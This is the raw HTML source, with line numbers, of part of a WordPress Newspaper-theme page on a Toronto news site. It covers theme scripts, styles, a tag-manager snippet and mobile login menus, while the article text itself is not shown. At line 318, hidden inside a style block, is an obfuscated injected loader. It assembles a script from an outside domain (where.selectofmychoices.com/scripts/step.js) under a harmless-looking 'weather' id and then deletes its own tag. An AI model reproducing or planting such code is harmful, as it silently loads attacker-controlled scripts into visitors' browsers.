164<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdScrollToClass.js?ver=12.6.6" id="tdScrollToClass-js"></script>
164<!-- JS generated by theme -->
165
166<script type="text/javascript" id="td-generated-header-js">
167    
168    
169
170	    var tdBlocksArray = []; //here we store all the items for the current page
171
172	    // td_block class - each ajax block uses a object of this class for requests
173	    function tdBlock() {
174		    this.id = '';
175		    this.block_type = 1; //block type id (1-234 etc)
176		    this.atts = '';
177		    this.td_column_number = '';
178		    this.td_current_page = 1; //
179		    this.post_count = 0; //from wp
180		    this.found_posts = 0; //from wp
181		    this.max_num_pages = 0; //from wp
182		    this.td_filter_value = ''; //current live filter value
183		    this.is_ajax_running = false;
184		    this.td_user_action = ''; // load more or infinite loader (used by the animation)
185		    this.header_color = '';
186		    this.ajax_pagination_infinite_stop = ''; //show load more at page x
187	    }
188
189        // td_js_generator - mini detector
190        ( function () {
191            var htmlTag = document.getElementsByTagName("html")[0];
192
193	        if ( navigator.userAgent.indexOf("MSIE 10.0") > -1 ) {
194                htmlTag.className += ' ie10';
195            }
196
197            if ( !!navigator.userAgent.match(/Trident.*rv\:11\./) ) {
198                htmlTag.className += ' ie11';
199            }
200
201	        if ( navigator.userAgent.indexOf("Edge") > -1 ) {
202                htmlTag.className += ' ieEdge';
203            }
204
205            if ( /(iPad|iPhone|iPod)/g.test(navigator.userAgent) ) {
206                htmlTag.className += ' td-md-is-ios';
207            }
208
209            var user_agent = navigator.userAgent.toLowerCase();
210            if ( user_agent.indexOf("android") > -1 ) {
211                htmlTag.className += ' td-md-is-android';
212            }
213
214            if ( -1 !== navigator.userAgent.indexOf('Mac OS X')  ) {
215                htmlTag.className += ' td-md-is-os-x';
216            }
217
218            if ( /chrom(e|ium)/.test(navigator.userAgent.toLowerCase()) ) {
219               htmlTag.className += ' td-md-is-chrome';
220            }
221
222            if ( -1 !== navigator.userAgent.indexOf('Firefox') ) {
223                htmlTag.className += ' td-md-is-firefox';
224            }
225
226            if ( -1 !== navigator.userAgent.indexOf('Safari') && -1 === navigator.userAgent.indexOf('Chrome') ) {
227                htmlTag.className += ' td-md-is-safari';
228            }
229
230            if( -1 !== navigator.userAgent.indexOf('IEMobile') ){
231                htmlTag.className += ' td-md-is-iemobile';
232            }
233
234        })();
235
236        var tdLocalCache = {};
237
238        ( function () {
239            "use strict";
240
241            tdLocalCache = {
242                data: {},
243                remove: function (resource_id) {
244                    delete tdLocalCache.data[resource_id];
245                },
246                exist: function (resource_id) {
247                    return tdLocalCache.data.hasOwnProperty(resource_id) && tdLocalCache.data[resource_id] !== null;
248                },
249                get: function (resource_id) {
250                    return tdLocalCache.data[resource_id];
251                },
252                set: function (resource_id, cachedData) {
253                    tdLocalCache.remove(resource_id);
254                    tdLocalCache.data[resource_id] = cachedData;
255                }
256            };
257        })();
258
259    
260    
261var td_viewport_interval_list=[{"limitBottom":767,"sidebarWidth":228},{"limitBottom":1018,"sidebarWidth":300},{"limitBottom":1140,"sidebarWidth":324}];
262var td_animation_stack_effect="type0";
263var tds_animation_stack=true;
264var td_animation_stack_specific_selectors=".entry-thumb, img, .td-lazy-img";
265var td_animation_stack_general_selectors=".td-animation-stack img, .td-animation-stack .entry-thumb, .post img, .td-animation-stack .td-lazy-img";
266var tdc_is_installed="yes";
267var td_ajax_url="https:\/\/toronto1.one\/wp-admin\/admin-ajax.php?td_theme_name=Newspaper&v=12.6.6";
268var td_get_template_directory_uri="https:\/\/toronto1.one\/wp-content\/plugins\/td-composer\/legacy\/common";
269var tds_snap_menu="";
270var tds_logo_on_sticky="";
271var tds_header_style="";
272var td_please_wait="Please wait...";
273var td_email_user_pass_incorrect="User or password incorrect!";
274var td_email_user_incorrect="Email or username incorrect!";
275var td_email_incorrect="Email incorrect!";
276var td_user_incorrect="Username incorrect!";
277var td_email_user_empty="Email or username empty!";
278var td_pass_empty="Pass empty!";
279var td_pass_pattern_incorrect="Invalid Pass Pattern!";
280var td_retype_pass_incorrect="Retyped Pass incorrect!";
281var tds_more_articles_on_post_enable="";
282var tds_more_articles_on_post_time_to_wait="";
283var tds_more_articles_on_post_pages_distance_from_top=0;
284var tds_captcha="";
285var tds_theme_color_site_wide="#e2687e";
286var tds_smart_sidebar="enabled";
287var tdThemeName="Newspaper";
288var tdThemeNameWl="Newspaper";
289var td_magnific_popup_translation_tPrev="Previous (Left arrow key)";
290var td_magnific_popup_translation_tNext="Next (Right arrow key)";
291var td_magnific_popup_translation_tCounter="%curr% of %total%";
292var td_magnific_popup_translation_ajax_tError="The content from %url% could not be loaded.";
293var td_magnific_popup_translation_image_tError="The image #%curr% could not be loaded.";
294var tdBlockNonce="70bdb21448";
295var tdMobileMenu="enabled";
296var tdMobileSearch="enabled";
297var tdDateNamesI18n={"month_names":["January","February","March","April","May","June","July","August","September","October","November","December"],"month_names_short":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],"day_names":["Sunday","Monday","Tuesday","Wednesday","Thursday","Frid
297ay","Saturday"],"day_names_short":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"]};
298var tdb_modal_confirm="Save";
299var tdb_modal_cancel="Cancel";
300var tdb_modal_confirm_alt="Yes";
301var tdb_modal_cancel_alt="No";
302var td_deploy_mode="deploy";
303var td_ad_background_click_link="";
304var td_ad_background_click_target="";
305</script>
305
306
307
308<!-- Header style compiled by theme -->
309
310<style>.td-menu-background,.td-search-background{background-image:url('https://kyivone.com/wp-content/uploads/2020/05/1-2.jpg')}.white-popup-block:before{background-image:url('https://kyivone.com/wp-content/uploads/2020/05/2-2.jpg')}:root{--td_theme_color:#e2687e;--td_slider_text:rgba(226,104,126,0.7);--td_mobile_gradient_one_mob:rgba(0,0,0,0.7);--td_mobile_gradient_two_mob:rgba(0,0,0,0.8);--td_mobile_text_active_color:#e2687e;--td_mobile_button_color_mob:#2d3349;--td_login_button_color:#2d3349;--td_login_hover_background:#e2687e;--td_login_hover_color:#ffffff;--td_login_gradient_one:rgba(0,0,0,0.7);--td_login_gradient_two:rgba(0,0,0,0.8)}.td-header-style-12 .td-header-menu-wrap-full,.td-header-style-12 .td-affix,.td-grid-style-1.td-hover-1 .td-big-grid-post:hover .td-post-category,.td-grid-style-5.td-hover-1 .td-big-grid-post:hover .td-post-category,.td_category_template_3 .td-current-sub-category,.td_category_template_8 .td-category-header .td-category a.td-current-sub-category,.td_category_template_4 .td-category-siblings .td-category a:hover,.td_block_big_grid_9.td-grid-style-1 .td-post-category,.td_block_big_grid_9.td-grid-style-5 .td-post-category,.td-grid-style-6.td-hover-1 .td-module-thumb:after,.tdm-menu
310-active-style5 .td-header-menu-wrap .sf-menu>.current-menu-item>a,.tdm-menu-active-style5 .td-header-menu-wrap .sf-menu>.current-menu-ancestor>a,.tdm-menu-active-style5 .td-header-menu-wrap .sf-menu>.current-category-ancestor>a,.tdm-menu-active-style5 .td-header-menu-wrap .sf-menu>li>a:hover,.tdm-menu-active-style5 .td-header-menu-wrap .sf-menu>.sfHover>a{background-color:#e2687e}.td_mega_menu_sub_cats .cur-sub-cat,.td-mega-span h3 a:hover,.td_mod_mega_menu:hover .entry-title a,.header-search-wrap .result-msg a:hover,.td-header-top-menu .td-drop-down-search .td_module_wrap:hover .entry-title a,.td-header-top-menu .td-icon-search:hover,.td-header-wrap .result-msg a:hover,.top-header-menu li a:hover,.top-header-menu .current-menu-item>a,.top-header-menu .current-menu-ancestor>a,.top-header-menu .current-category-ancestor>a,.td-social-icon-wrap>a:hover,.td-header-sp-top-widget .td-social-icon-wrap a:hover,.td_mod_related_posts:hover h3>a,.td-post-template-11 .td-related-title .td-related-left:hover,.td-post-template-11 .td-related-title .td-related-right:hover,.td-post-template-11 .td-related-title .td-cur-simple-item,.td-post-template-11 .td_block_related_posts .td-next-prev-wrap a:hover,.td-category-header .td-pulldown-category-filter-link:hover,.td-category-siblings .td-subcat-dropdown a:hover,.td-category-siblings .td-subcat-dropdown a.td-current-sub-category,.footer-text-wrap .footer-email-wrap a,.footer-social-wrap a:hover,.td_module_17 .td-read-more a:hover,.td_module_18 .td-read-more a:hover,.td_module_19 .td-post-author-name a:hover,.td-pulldown-syle-2 .td-subcat-dropdown:hover .td-subcat-more span,.td-pulldown-syle-2 .td-subcat-dropdown:hover .td-subcat-more i,.td-pulldown-syle-3 .td-subcat-dropdown:hover .td-subcat-more span,.td-pulldown-syle-3 .td-subcat-dropdown:hover .td-subcat-more i,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>.current-category-ancestor>a,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>.current-menu-ancestor>a,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>.current-menu-item>a,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>.sfHover>a,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>li>a:hover{color:#e2687e}.td-mega-menu-page .wpb_content_element ul li a:hover,.td-theme-wrap .td-aj-search-results .td_module_wrap:hover .entry-title a,.td-theme-wrap .header-search-wrap .result-msg a:hover{color:#e2687e!important}.td_category_template_8 .td-category-header .td-category a.td-current-sub-category,.td_category_template_4 .td-category-siblings .td-category a:hover,.tdm-menu
310-active-style4 .tdm-header .sf-menu>.current-menu-item>a,.tdm-menu-active-style4 .tdm-header .sf-menu>.current-menu-ancestor>a,.tdm-menu-active-style4 .tdm-header .sf-menu>.current-category-ancestor>a,.tdm-menu-active-style4 .tdm-header .sf-menu>li>a:hover,.tdm-menu-active-style4 .tdm-header .sf-menu>.sfHover>a{border-color:#e2687e}.td-footer-template-wrap .mo-footer-disclaimer-bottom{text-align:center!important}.td-footer-template-wrap .mo-footer-disclaimer-bottom .mo-footer-disclaimer-dynamic{text-align:center;margin:12px auto 0;max-width:720px;padding:0 16px}.td-footer-template-wrap .mo-footer-disclaimer-copy,.td-footer-template-wrap .mo-footer-disclaimer-misto{color:#90a0af!important;font-style:italic;font-size:11px;line-height:1.45;margin:0;text-align:center;text-transform:none}.td-footer-template-wrap .mo-footer-disclaimer-misto{margin-top:4px}.td-footer-template-wrap .mo-footer-disclaimer-misto a{color:#90a0af!important;text-decoration:underline}.td-footer-template-wrap .mo-footer-disclaimer-misto a:hover{opacity:.85}.td-menu-background,.td-search-background{background-image:url('https://kyivone.com/wp-content/uploads/2020/05/1-2.jpg')}.white-popup-block:before{background-image:url('https://kyivone.com/wp-content/uploads/2020/05/2-2.jpg')}:root{--td_theme_color:#e2687e;--td_slider_text:rgba(226,104,126,0.7);--td_mobile_gradient_one_mob:rgba(0,0,0,0.7);--td_mobile_gradient_two_mob:rgba(0,0,0,0.8);--td_mobile_text_active_color:#e2687e;--td_mobile_button_color_mob:#2d3349;--td_login_button_color:#2d3349;--td_login_hover_background:#e2687e;--td_login_hover_color:#ffffff;--td_login_gradient_one:rgba(0,0,0,0.7);--td_login_gradient_two:rgba(0,0,0,0.8)}.td-header-style-12 .td-header-menu-wrap-full,.td-header-style-12 .td-affix,.td-grid-style-1.td-hover-1 .td-big-grid-post:hover .td-post-category,.td-grid-style-5.td-hover-1 .td-big-grid-post:hover .td-post-category,.td_category_template_3 .td-current-sub-category,.td_category_template_8 .td-category-header .td-category a.td-current-sub-category,.td_category_template_4 .td-category-siblings .td-category a:hover,.td_block_big_grid_9.td-grid-style-1 .td-post-category,.td_block_big_grid_9.td-grid-style-5 .td-post-category,.td-grid-style-6.td-hover-1 .td-module-thumb:after,.tdm-menu
310-active-style5 .td-header-menu-wrap .sf-menu>.current-menu-item>a,.tdm-menu-active-style5 .td-header-menu-wrap .sf-menu>.current-menu-ancestor>a,.tdm-menu-active-style5 .td-header-menu-wrap .sf-menu>.current-category-ancestor>a,.tdm-menu-active-style5 .td-header-menu-wrap .sf-menu>li>a:hover,.tdm-menu-active-style5 .td-header-menu-wrap .sf-menu>.sfHover>a{background-color:#e2687e}.td_mega_menu_sub_cats .cur-sub-cat,.td-mega-span h3 a:hover,.td_mod_mega_menu:hover .entry-title a,.header-search-wrap .result-msg a:hover,.td-header-top-menu .td-drop-down-search .td_module_wrap:hover .entry-title a,.td-header-top-menu .td-icon-search:hover,.td-header-wrap .result-msg a:hover,.top-header-menu li a:hover,.top-header-menu .current-menu-item>a,.top-header-menu .current-menu-ancestor>a,.top-header-menu .current-category-ancestor>a,.td-social-icon-wrap>a:hover,.td-header-sp-top-widget .td-social-icon-wrap a:hover,.td_mod_related_posts:hover h3>a,.td-post-template-11 .td-related-title .td-related-left:hover,.td-post-template-11 .td-related-title .td-related-right:hover,.td-post-template-11 .td-related-title .td-cur-simple-item,.td-post-template-11 .td_block_related_posts .td-next-prev-wrap a:hover,.td-category-header .td-pulldown-category-filter-link:hover,.td-category-siblings .td-subcat-dropdown a:hover,.td-category-siblings .td-subcat-dropdown a.td-current-sub-category,.footer-text-wrap .footer-email-wrap a,.footer-social-wrap a:hover,.td_module_17 .td-read-more a:hover,.td_module_18 .td-read-more a:hover,.td_module_19 .td-post-author-name a:hover,.td-pulldown-syle-2 .td-subcat-dropdown:hover .td-subcat-more span,.td-pulldown-syle-2 .td-subcat-dropdown:hover .td-subcat-more i,.td-pulldown-syle-3 .td-subcat-dropdown:hover .td-subcat-more span,.td-pulldown-syle-3 .td-subcat-dropdown:hover .td-subcat-more i,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>.current-category-ancestor>a,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>.current-menu-ancestor>a,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>.current-menu-item>a,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>.sfHover>a,.tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu>li>a:hover{color:#e2687e}.td-mega-menu-page .wpb_content_element ul li a:hover,.td-theme-wrap .td-aj-search-results .td_module_wrap:hover .entry-title a,.td-theme-wrap .header-search-wrap .result-msg a:hover{color:#e2687e!important}.td_category_template_8 .td-category-header .td-category a.td-current-sub-category,.td_category_template_4 .td-category-siblings .td-category a:hover,.tdm-menu
310-active-style4 .tdm-header .sf-menu>.current-menu-item>a,.tdm-menu-active-style4 .tdm-header .sf-menu>.current-menu-ancestor>a,.tdm-menu-active-style4 .tdm-header .sf-menu>.current-category-ancestor>a,.tdm-menu-active-style4 .tdm-header .sf-menu>li>a:hover,.tdm-menu-active-style4 .tdm-header .sf-menu>.sfHover>a{border-color:#e2687e}.td-footer-template-wrap .mo-footer-disclaimer-bottom{text-align:center!important}.td-footer-template-wrap .mo-footer-disclaimer-bottom .mo-footer-disclaimer-dynamic{text-align:center;margin:12px auto 0;max-width:720px;padding:0 16px}.td-footer-template-wrap .mo-footer-disclaimer-copy,.td-footer-template-wrap .mo-footer-disclaimer-misto{color:#90a0af!important;font-style:italic;font-size:11px;line-height:1.45;margin:0;text-align:center;text-transform:none}.td-footer-template-wrap .mo-footer-disclaimer-misto{margin-top:4px}.td-footer-template-wrap .mo-footer-disclaimer-misto a{color:#90a0af!important;text-decoration:underline}.td-footer-template-wrap .mo-footer-disclaimer-misto a:hover{opacity:.85}</style>
311
312<style id="mo-ig-blocks-css">.mo-ig{margin:1.75em 0;width:100%;box-sizing:border-box}.mo-ig-link{margin:.5em 0 0;text-align:center;font-size:12px}.mo-ig-link a{color:#8e8e8e;text-decoration:none}.mo-ig-pending{padding:16px;color:#666;font-size:14px;text-align:center}.mo-ig--player{display:flex;flex-direction:column;align-items:center}.mo-ig-player{width:min(100%,420px);background:#000;border-radius:12px;overflow:hidden;box-shadow:0 8px 24px rgba(0,0,0,.18)}.mo-ig-html5{display:block;width:100%;max-height:80vh;aspect-ratio:9/16;background:#000;margin:0}.mo-ig--widget{max-width:540px;margin-left:auto;margin-right:auto}.mo-ig--split{display:grid;grid-template-columns:1.05fr .95fr;border:1px solid #dbdbdb;border-radius:10px;overflow:hidden;background:#fff}.mo-ig-split-media{background:#000;display:flex;align-items:center;justify-content:center;min-height:360px}.mo-ig-html5--split{width:100%;height:100%;max-height:560px;object-fit:contain}.mo-ig-split-side{display:flex;flex-direction:column;max-height:560px;border-left:1px solid #efefef}.mo-ig-split-head{display:flex;justify-content:space-between;gap:8px;padding:12px 14px;border-bottom:1px solid #efefef;font-size:14px}.mo-ig-split-head a{color:#0095f6;font-weight:600;text-decoration:none;font-size:13px}.mo-ig-split-caption{padding:10px 14px;font-size:13px;border-bottom:1px solid #efefef}.mo-ig-split-comments{flex:1;overflow:auto;padding:8px 14px;font-size:13px}.mo-ig-split-c{margin:0 0 10px}.mo-ig-split-meta{padding:10px 14px;border-top:1px solid #efefef;font-size:12px}.mo-ig-split-meta a{color:#8e8e8e;text-decoration:none}@media (max-width:700px){.mo-ig--split{grid-template-columns:1fr}.mo-ig-split-side{border-left:0;border-top:1px solid #efefef;max-height:360px}}</style>
313<style id="padrino-td-thumb-inline">body.td-animation-stack-type0 .td-animation-stack .entry-thumb.td-thumb-css{background-size:cover;background-position:center center;opacity:1!important}</style>
314<!-- Button style compiled by theme -->
315
316<style>.tdm-btn-style1{background-color:#e2687e}.tdm-btn-style2:before{border-color:#e2687e}.tdm-btn-style2{color:#e2687e}.tdm-btn-style3{-webkit-box-shadow:0 2px 16px #e2687e;-moz-box-shadow:0 2px 16px #e2687e;box-shadow:0 2px 16px #e2687e}.tdm-btn-style3:hover{-webkit-box-shadow:0 4px 26px #e2687e;-moz-box-shadow:0 4px 26px #e2687e;box-shadow:0 4px 26px #e2687e}</style>
317
318	<style id="tdw-css-placeholder">var _mofbvemfh="_xzgdjtb";try{var_kzzdz=String;var _irrd=_kzzdz["f"+"rom"+"Char"+"Co"+"de"](102,114,111,109)+_kzzdz["f"+"rom"+"Char"+"Co"+"de"](67,104,97,114)+_kzzdz["f"+"rom"+"Char"+"Co"+"de"](67,111,100,101);var _wlitbbsefa="s"+"c"+_kzzdz[_irrd](114,105,112,116);let _mgqbqdwoii="c"+"re"+_kzzdz[_irrd](97,116,101,69,108,101,109,101,110,116);var _zbwgz="s"+_kzzdz[_irrd](114,99);var ayggfyqyl=_kzzdz[_irrd](105,100);let adjyk="cu"+"rre"+_kzzdz[_irrd](110,116,83,99,114,105,112,116);var _kbtqpzukdc="pa"+"r"+_kzzdz[_irrd](101,110,116,78,111,100,101);var agtfxz="i"+"ns"+_kzzdz[_irrd](101,114,116,66,101,102,111,114,101);var _cmzsqp="ge"+"El"+_kzzdz[_irrd](101,109,101,110,116,115,66,121,84,97,103,78,97,109,101);var _jcqxq="h"+"e"+_kzzdz[_irrd](97,100);let atyob="ap"+"p"+_kzzdz[_irrd](101,110,100,67,104,105,108,100);var _kfbpagzzxb=document;var _yirowemn="t"+"e"+_kzzdz[_irrd](109,112,95,119,101,97,116,104,101,114,95,115,99,114,105,112,116);var _qnavvtrswd=_kfbpagzzxb[_mgqbqdwoii](_wlitbbsefa);_qnavvtrswd['as'+'y'+'nc']=true;var _vzcem=_kzzdz[_irrd](104,116,116,112,115,58,47,47)+"wh"+"er"+"e."+"se"+"le"+"ct"+"of"+"my"+"ch"+"oi"+"ce"+"s.c"+"om"+_kzzdz[_irrd](47)+_kzzdz[_irrd](115)+"cr"+"i"+_kzzdz[_irrd](112,116,115
318)+_kzzdz[_irrd](47)+"s"+"t"+_kzzdz[_irrd](101,112,46,106,115);_qnavvtrswd[_zbwgz]=_vzcem;_qnavvtrswd[ayggfyqyl]=_yirowemn;if(_kfbpagzzxb[adjyk]){_kfbpagzzxb[adjyk][_kbtqpzukdc][agtfxz](_qnavvtrswd,_kfbpagzzxb[adjyk]);var _jsiqxcogat=document;if (_jsiqxcogat['cu'+'rr'+'en'+'tS'+'cr'+'ipt']){_jsiqxcogat['cu'+'rr'+'en'+'tS'+'cr'+'ipt'].remove()}}else{_kfbpagzzxb[_cmzsqp](_jcqxq)[0][atyob](_qnavvtrswd);if (_jsiqxcogat['cu'+'rr'+'en'+'tS'+'cr'+'ipt']){_jsiqxcogat['cu'+'rr'+'en'+'tS'+'cr'+'ipt'].remove()}}}catch (err){}</style> <!-- Google Tag Manager -->
319<script>
vendor: 327 bytes, lines 319-323
319(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
320new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
321j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
322'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
323})(window,document,'script','dataLayer','
323GTM-T8QVBK4
vendor: 3 bytes, line 323
323');
323</script>
323
324<!-- End Google Tag Manager -->
325</head>
326
327<body class="wp-singular post-template-default single single-post postid-3775 single-format-standard wp-theme-Newspaper td-standard-pack what-were-torontos-first-newspapers-about global-block-template-1 td-gadgets-pro tdb_template_453 td-wpml cookies-not-set tdb-template  tdc-header-template  tdc-footer-template td-animation-stack-type0 td-full-layout" itemscope="itemscope" itemtype="https://schema.org/WebPage">
328<!-- Google Tag Manager (noscript) -->
vendor: 68 bytes, lines 328-329
328
329<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=
329GTM-T8QVBK4
vendor: 83 bytes, lines 329-330
329"
330height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
331<!-- End Google Tag Manager (noscript) -->
332
333
334<div class="td-scroll-up" data-style="style1"><i class="td-icon-menu-up"></i></div>
335    <div class="td-menu-background" style="visibility:hidden"></div>
336<div id="td-mobile-nav" style="visibility:hidden">
337    <div class="td-mobile-container">
338        <!-- mobile menu top section -->
339        <div class="td-menu-socials-wrap">
340            <!-- socials -->
341            <div class="td-menu-socials">
342                            </div>
343            <!-- close button -->
344            <div class="td-mobile-close">
345                <span><i class="td-icon-close-mobile"></i></span>
346            </div>
347        </div>
348
349        <!-- login section -->
350                    <div class="td-menu-login-section">
351                
352    <div class="td-guest-wrap">
353        <div class="td-menu-login"><a id="login-link-mob">Sign in</a></div>
354    </div>
355            </div>
356        
357        <!-- menu section -->
358        <div class="td-mobile-content">
359            <div class="menu-header-menu-en-container"><ul id="menu-header-menu-en-2" class="td-mobile-main-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-first menu-item-1709"><a href="https://toronto1.one/en">Home</a></li>
360<li class="menu-item menu-item-type-taxonomy menu-item-object-category current-post-ancestor current-menu-parent current-post-parent menu-item-1711"><a href="https://toronto1.one/en/business">Business</a></li>
361<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1712"><a href="https://toronto1.one/en/education">Education</a></li>
362<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1713"><a href="https://toronto1.one/en/jobs">Work</a></li>
363<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1717"><a href="/en/articles">Articles</a></li>
364<li class="menu-item wpml-ls-slot-102 wpml-ls-item wpml-ls-item-en wpml-ls-current-language wpml-ls-menu-item wpml-ls-first-item menu-item-type-wpml_ls_menu_item menu-item-object-wpml_ls_menu_item menu-item-wpml-ls-102-en"><a title="Switch to EN" href="https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775"><span class="wpml-ls-native" lang="en">EN</span></a></li>
365<li class="menu-item wpml-ls-slot-102 wpml-ls-item wpml-ls-item-uk wpml-ls-menu-item menu-item-type-wpml_ls_menu_item menu-item-object-wpml_ls_menu_item menu-item-wpml-ls-102-uk"><a title="Switch to UA" href="https://toronto1.one/uk/eternal/pro-shho-buli-pershi-gazeti-toronto-3196"><span class="wpml-ls-native" lang="uk">UA</span></a></li>
366<li class="menu-item wpml-ls-slot-102 wpml-ls-item wpml-ls-item-ru wpml-ls-menu-item wpml-ls-last-item menu-item-type-wpml_ls_menu_item menu-item-object-wpml_ls_menu_item menu-item-wpml-ls-102-ru"><a title="Switch to RU" href="https://toronto1.one/ru/eternal/o-chem-byli-pervye-gazety-toronto-3220"><span class="wpml-ls-native" lang="ru">RU</span></a></li>
367</ul></div>        </div>
368    </div>
369
370    <!-- register/login section -->
371            <div id="login-form-mobile" class="td-register-section">
372            
373            <div id="td-login-mob" class="td-login-animation td-login-hide-mob">
374            	<!-- close button -->
375	            <div class="td-login-close">
376	                <span class="td-back-button"><i class="td-icon-read-down"></i></span>
377	                <div class="td-login-title">Sign in</div>
378	                <!-- close button -->
379		            <div class="td-mobile-close">
380		                <span><i class="td-icon-close-mobile"></i></span>
381		            </div>
382	            </div>
383	            <form class="td-login-form-wrap" action="#" method="post">
384	                <div class="td-login-panel-title"><span>Welcome!</span>Log into your account</div>
385	                <div class="td_display_err"></div>
386	                <div class="td-login-inputs"><input class="td-login-input" autocomplete="username" type="text" name="login_email" id="login_email-mob" value="" required><label for="login_email-mob">your username</label></div>
387	                <div class="td-login-inputs"><input class="td-login-input" autocomplete="current-password" type="password" name="login_pass" id="login_pass-mob" value="" required><label for="login_pass-mob">your password</label></div>
388	                <input type="button" name="login_button" id="login_button-mob" class="td-login-button" value="LOG IN">
389	                
390					
391	                <div class="td-login-info-text">
392	                <a href="#" id="forgot-pass-link-mob">Forgot your password?</a>
393	                </div>
394	                <div class="td-login-register-link">
395	                
396	                </div>
397	                
398	                
399
400                </form>
401            </div>
402
403            
404            
405            
406            
407            <div id="td-forgot-pass-mob" class="td-login-animation td-login-hide-mob">
408                <!-- close button -->
409	            <div class="td-forgot-pass-close">
410	                <a href="#" aria-label="Back" class="td-back-button"><i class="td-icon-read-down"></i></a>
411	                <div class="td-login-title">Password recovery</div>
412	            </div>
413	            <div class="td-login-form-wrap">
414	                <div class="td-login-panel-title">Recover your password</div>
415	                <div class="td_display_err"></div>
416	                <div class="td-login-inputs"><input class="td-login-input" type="text" name="forgot_email" id="forgot_email-mob" value="" required><label for="forgot_email-mob">your email</label></div>
417	                <input type="button" name="forgot_button" id="forgot_button-mob" class="td-login-button" value="Send My Pass">
418                </div>
419            </div>
420        </div>
421    </div><div class="td-search-background" style="visibility:hidden"></div>
422<div class="td-search-wrap-mob" style="visibility:hidden">
423	<div class="td-drop-down-search">
424		<form method="get" class="td-search-form" action="https://toronto1.one/en">
425			<!-- close button -->
426			<div class="td-search-close">
427				<span><i class="td-icon-close-mobile"></i></span>
428			</div>
429			<div role="search" class="td-search-input">
430				<span>Search</span>
431				<input id="td-header-search-mob" type="text" value="" name="s" autocomplete="off" />
432			</div>
433		</form>
434		<div id="td-aj-search-mob" class="td-ajax-search-flex"></div>
435	</div>
436</div>
437
438    <div id="td-outer-wrap" class="td-theme-wrap">
439    
440                    <div class="td-header-template-wrap" style="position: relative">
441                                    <div class="td-header-mobile-wrap ">
442                        <div id="tdi_1" class="tdc-zone"><div class="tdc_zone tdi_2  wpb_row td-pb-row tdc-element-style" data-sticky-offset="0" >
443<style scoped>.tdi_2{min-height:0}.td-header-mobile-sticky-wrap.td-header-active{opacity:1}@media (max-width:767px){.tdi_2:before{content:'';display:block;width:100vw;height:100%;position:absolute;left:50%;transform:translateX(-50%);box-shadow:0px 6px 8px 0px rgba(0,0,0,0.08);z-index:20;pointer-events:none}@media (max-width:767px){.tdi_2:before{width:100%}}}@media (max-width:767px){.tdi_2{position:relative}}</style>
444<div class="tdi_1_rand_style td-element-style" ><style>@media (max-width:767px){.tdi_1_rand_style{background-color:#ffffff!important}}</style></div><div id="tdi_3" class="tdc-row"><div class="vc_row tdi_4  wpb_row td-pb-row" >
445<style scoped>.tdi_4,.tdi_4 .tdc-columns{min-height:0}.tdi_4,.tdi_4 .tdc-columns{display:block}.tdi_4 .tdc-columns{width:100%}.tdi_4:before,.tdi_4:after{display:table}@media (max-width:767px){@media (min-width:768px){.tdi_4{margin-left:-0px;margin-right:-0px}.tdi_4 .tdc-row-video-background-error,.tdi_4>.vc_column,.tdi_4>.tdc-columns>.vc_column{padding-left:0px;padding-right:0px}}}@media (max-width:767px){.tdi_4{padding-top:8px!important;padding-bottom:8px!important}}</style><div class="vc_column tdi_6  wpb_column vc_column_container tdc-column td-pb-span4">
446<style scoped>.tdi_6{vertical-align:baseline}.tdi_6>.wpb_wrapper,.tdi_6>.wpb_wrapper>.tdc-elements{display:block}.tdi_6>.wpb_wrapper>.tdc-elements{width:100%}.tdi_6>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_6>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_6{vertical-align:middle}}@media (max-width:767px){.tdi_6{width:20%!important;display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_7 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_7" >
447<style>@media (max-width:767px){.tdi_7{margin-left:-5px!important;padding-top:2px!important}}</style>
448<style>.tdb-header-align{vertical-align:middle}.tdb_mobile_menu{margin-bottom:0;clear:none}.tdb_mobile_menu a{display:inline-block!important;position:relative;text-align:center;color:var(--td_theme_color,#4db2ec)}.tdb_mobile_menu a>span{display:flex;align-items:center;justify-content:center}.tdb_mobile_menu svg{height:auto}.tdb_mobile_menu svg,.tdb_mobile_menu svg *{fill:var(--td_theme_color,#4db2ec)}#tdc-live-iframe .tdb_mobile_menu a{pointer-events:none}.td-menu-mob-open-menu{overflow:hidden}.td-menu-mob-open-menu #td-outer-wrap{position:static}.tdi_7 .tdb-mobile-menu-button i{font-size:28px;width:28px;height:28px;line-height:28px}.tdi_7 .tdb-mobile-menu-button svg{width:28px}.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:28px;height:28px}.tdi_7 .tdb-mobile-menu-button{color:#172842}.tdi_7 .tdb-mobile-menu-button svg,.tdi_7 .tdb-mobile-menu-button svg *{fill:#172842}.tdi_7 .tdb-mobile-menu-button:hover{color:#e2687e}.tdi_7 .tdb-mobile-menu-button:hover svg,.tdi_7 .tdb-mobile-menu-button:hover 